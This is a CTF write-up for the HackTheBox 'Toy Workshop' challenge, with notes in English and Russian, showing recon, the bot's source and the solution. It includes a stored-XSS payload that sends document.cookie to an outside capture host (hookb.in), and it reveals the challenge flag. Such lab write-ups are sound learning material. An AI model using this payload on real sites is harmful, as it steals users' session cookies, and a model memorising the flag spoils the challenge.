###### tags: `HackTheBox` `round 1` # CyberSanta Toy Workshop ## description ``` The work is going well on Santa's toy workshop but we lost contact with the manager in charge! We suspect the evil elves have taken over the workshop, can you talk to the worker elves and find out? В мастерской Санта-Клауса работа идет хорошо, но мы потеряли связь с ответственным менеджером! Мы подозреваем, что мастерскую захватили злые эльфы. Можете ли вы поговорить с рабочими эльфами и узнать? ``` ## install docker ``` https://www.kali.org/docs/containers/installing-docker-on-kali/ ``` ## nmap ``` PORT STATE SERVICE VERSION 1337/tcp open http Node.js (Express middleware) |_http-title: Toy Workshop ``` ## action ``` click on elf - send message перед сборкой docker: правим файл /challenge/routes/index.js: * убираем запрет доступа с ip <> 127.0.0.1 это даёт доступ к ip:port/queries ``` вот такое, но вместо 'no content' должна быть простыня сообщений, которое ты эльфам накидал, ну и флаг ![](https://i.imgur.com/wo1YLvw.png) ``` ? поиграть с Referer или Origin в GET запросе -> верный путь: сделать запрос <localhost>:1337/queries через XSS ``` ### show files /challenge/routes/index.js ``` два route: * /api/submit * /queries две view: view/index.hbs view/queries.hbs ``` ## creds ``` name of elves: Lhoris Farrie Ievis Chaeqirelle ``` ## cookies ``` const cookies = [{ 'name': 'flag', 'value': 'HTB{f4k3_fl4g_f0r_t3st1ng}' }]; const readQueries = async (db) => { const browser = await puppeteer.launch(browser_options); let context = await browser.createIncognitoBrowserContext(); let page = await context.newPage(); await page.goto('http://127.0.0.1:1337/'); await page.setCookie(...cookies); await page.goto('http://127.0.0.1:1337/queries', { waitUntil: 'networkidle2' }); await browser.close(); await db.migrate(); }; ``` ## XSS ``` <script>new Image().src='https://hookb.in/RZr0PjZb6JhNb9zzbrPL/?c='+document.cookie;</script> ``` ## flag ``` flag=HTB{3v1l_3lv3s_4r3_r1s1ng_up!} ```